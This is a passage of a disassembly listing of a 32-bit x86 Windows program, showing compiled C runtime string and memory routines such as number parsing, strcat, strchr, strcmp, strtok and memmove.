loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB2A8, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26707EAh
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2670E9Dh
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2F4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2F4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
